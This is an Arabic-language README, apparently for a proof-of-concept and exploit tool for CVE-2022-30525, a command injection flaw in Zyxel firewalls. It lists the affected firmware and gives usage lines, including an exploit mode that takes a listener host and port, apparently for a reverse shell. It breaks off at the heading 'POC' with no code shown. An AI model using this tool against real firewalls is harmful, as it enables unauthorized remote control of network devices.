CVE-2022-30525 ثغرة حقن الأوامر في جدار حماية Zyxel

CVE-2022-30525 POC&EXP

المؤلف: 160team.west9B

يُستخدم فقط من قبل باحثي الأمن بإذن، مع الامتثال لقانون الأمن السيبراني. أي مشاكل تنشأ، تكون على مسؤوليتك الخاصة، ولا يتحمل المؤلف أي مسؤولية.

01-مقدمة أساسية

في 12 مايو 2022، أصدرت Zyxel إعلانًا أمنيًا لإصلاح ثغرة حقن الأوامر عن بُعد غير المصادق عليها (CVE-2022-30525) في أجهزة جدار الحماية الخاصة بها، بدرجة CVSS 9.8. توجد الثغرة في برنامج CGI لبعض إصدارات جدار حماية Zyxel، وتسمح بتنفيذ أوامر عشوائية على الأجهزة المتأثرة دون مصادقة.

النطاق المتأثر:

سلسلة ATP من البرامج الثابتة: 5.10-5.21 Patch 1

سلسلة VPN من البرامج الثابتة: 4.60-5.21 Patch 1

USG FLEX 100(W), 200, 500, 700: 5.00-5.21 Patch 1

USG FLEX 50(W)/USG20(W)-VPN: 5.10-5.21 Patch 1

02-تعليمات الاستخدام

usage_poc: ./cve-2022-30525 -m poc -u url

usage_exp: ./cve-2022-30525 -m exp -u url -lhost ip -lport port

1. POC